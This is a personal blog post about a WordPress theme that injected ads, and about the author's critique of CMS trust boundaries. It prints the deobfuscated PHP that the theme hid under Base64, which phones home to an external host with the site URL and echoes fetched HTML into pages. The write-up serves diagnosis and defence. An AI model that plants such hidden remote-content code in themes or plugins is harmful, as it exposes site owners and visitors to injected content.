dev, computing and games

On March 9th, 2020, I opened this blog and noticed something wasn't right.

a "before and after" comparison where the blog looks screwed up after. There are a bunch of ads at the top forcing all of the blog content downward, and the blog's background appears chopped-off.

An exploit. I knew, first of all, my domain wasn't expired-- plus if it was, it wouldn't be accompanied by this sketchy ad. My web host isn't like that.

First order of business: right click view source to get a sense of it. It's something emitted server-side as opposed to something directly from theme code. Of course, I guess.

Then narrow down the repro. I confirmed that it

  • Persists across browsers
  • only reproes with this WordPress instance, not with non-Wordpress-based web sites on the same domain
  • only reproes with this particular WordPress theme not other themes

I was surprised by it being specific to the theme, since I had a lot of a hand in the theme. I didn't knowingly add or notice anything that could be a vulnerability. That being said, it was a theme I downloaded off the internet as a starting point, so who knows.

Since I keep a backup of the WordPress and theme files in a Git enlistment, I downloaded them from the web space back into the enlistment and looked for a delta. No delta.

That means two things:

  • The theme wasn't corrupted. If there's a problem with it, the problem's been there since the beginning.
  • The corruption is more likely to be in the database.

While I have backup exports of the database, I didn't have a current enough one to conveniently use as a delta unless I absolutely had to. Open PHPMyAdmin just for kicks. The theme-specific records I knew to be in wp_options so I looked there. There are not all that many records so I scrolled through and looked for clues.

There I saw a suspicious record: "credit_text2" and lo and behold, the value was a bunch of html which looked very similar to the stuff I saw in inspect element at the beginning of this. It was accompanied by other records, "credit_text", "credit_date", and "credit_date2".

I had another WordPress instance handy for testing stuff. Looking at its database, it did not have these records. Therefore, the records were added either by the exploit or something specific to the theme. Knowing that it wasn't something specific to WordPress, I figured just web search for it since the results would be unlikely to be filled up with everyday usage documentation-- and lo and behold, someone else was victim to the same thing. He pinned down the exploit and gave a really good explanation. He used the Exploit Scanner plugin. I verified it- my web site was victim to the same exploit.

And it turns out, the theme I downloaded actually shipped with this code, encoded in two layers of Base64:

function start_template() {
global $reftime;
	$updated = get_option("credit_date2");
	if ((time() - $updated) > (24 * 3600 * $reftime)) {

		$credit_text2 = file_get_contents("http://www.w***p****t********.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

		update_option("credit_text2",$credit_text2);
		update_option("credit_date2",time());
	} else { 
		$credit_text2 = get_option("credit_text2");
	}
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}

and also, this:

$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
if(strpos(" ".$contents,"wp_footer();") <= 0) {
die(); } 
function get_credits()
    {
        $updated = get_option("credit_date");
        if ((time() - $updated) > (24 * 3600)) {

            $credit_text = file_get_contents("http://www.w***p****t*******.com/form_work/output.txt?ref=".get_bloginfo('url'));
            update_option("credit_text",$credit_text);
			update_option("credit_date",time());
        } else { 
            $credit_text = get_option("credit_text");
        }
        return $credit_text;
    }

add_action('wp_footer','print_footer');

function print_footer()
    {
$credit = get_credits();
echo $credit;
}

(I censored the URL.)

Like I said this code was not plainly there, it was obfuscated beneath two layers of Base64 encoding, otherwise it would have been easier to spot how the theme was adding records.

If you take away the sketchy URL and code obfuscation, it actually doesn't seem too malicious. It looks up your theme from a web site, presumably where you got the theme from-- and credits the author.

Maybe the theme wasn't shipped with a malicious vulnerability, but the vulnerability fits into this page-breaking scenario.

Suppose there could have been plans to monetize WordPress themes, where you'd have themes phone home to make sure you have paid for them. The paywall is secured by obscurity, hence the Base64 encoding. And the web site validating the paywall used to be something, now it's been changed to something else who doesn't want to maintain it or do us the courtesy of serving a more helpful request response than the whole web page in all its sketchiness. Fixing this problem is effectively unhooking from the paywall then. This particular theme, in any case, was free when I got it. I would link to it but the web site appears to be defunct. This was from a long time ago.

This code showed something else reassuring: that there wasn't a bad actor using SQL injection to add or edit random records in WordPress's database. Instead, the records were being edited by my web site itself.

The disturbing part, and the nature of the vulnerability, is you've effectively got a theme downloading text from an external web site and echoing it to your blog, trusting that the external web site serves up something sensible.

Anyway, the problem was simple enough to remove from theme and database.

I think WordPress and general CMS are good in some ways, and bad in some ways.

It's good in how many problems it solves for you and how it opens up web site building to more people. There are certain people who can make web sites with CMS that would not otherwise be able to.

It's bad in how far you're removed from the web page that ultimately gets served up to your web site visitors. If something goes very wrong and you need to debug it, even if it's something simple, you need to know something about the expansion of so many layers of terms, the evaluation of server-side functions. (If you are pro web developer you may even debug those functions.) Can I know every single server-side script, client-side script, or piece of markup that comprises a CMS-built site? No, and that's the problem. How am I supposed to be confident that my site is trustworthy? Yeah yeah, every tech has this problem, you call code you don't own, etc. I'm claiming that the problem is worse with CMS, particularly where themes and plug-ins are involved, because there aren't clean boundaries of trust.

Clean boundaries of trust. Let me say what I mean.

Suppose you have a blog. You want to spruce it up a little, so you install a theme to it. Not even a plugin, a theme, with the expectation that it simply makes some aesthetic enhancements.

  • Where does the theme's code get inserted? Is it componentized? Answer: It is not. Or at least, it doesn't have to be. While themes straddle a well-defined set of files, their code can called by any other part of your WordPress code, effectively sprinkling the theme code everywhere it wants to be.
  • When will its code execute? Is the resultant code constrained to only modifying client-side behaviors? Answer: No, the theme code could execute anywhere, and involve all kinds of server-side behaviors. Maybe you can debug it yourself if you're curious.
  • What permissions does the code have? Answer: The theme has all permissions. It has database access. It can do anything.

The word "theme" makes it sounds a lot more limited-privilege than it actually is. It makes it sound like you are just downloading some CSS file.

With CMS it's not enough to just write a bunch of markup, and clearly see the connection between the web page contents and the markup. Half the internet is delicately balanced on the whims of random plug-in authors and no one sees this as a problem. Technical people take the position of "well, that won't happen to me, because I can debug my web site" and non-technical people take the position "it's the only way I can make a web site, so there's no alternative". I guess this is all the way of the world, but if it is then (warning: hot take!) maybe not literally every web site ever should be CMS. Anyway I don't want to be a person who balances their life on big, convenient layers of magnificent technology that are impossible to understand. With this you are really at the mercy of this content generation system. This kind of thing sucks so much.

Guys, I just wanted to put my images and text onto the information superhighway. Maybe the best solution is to leapfrog web 2.0 and go right to web 3.0. Something something social AI blockchain

March 11th, 2020 at 6:00 am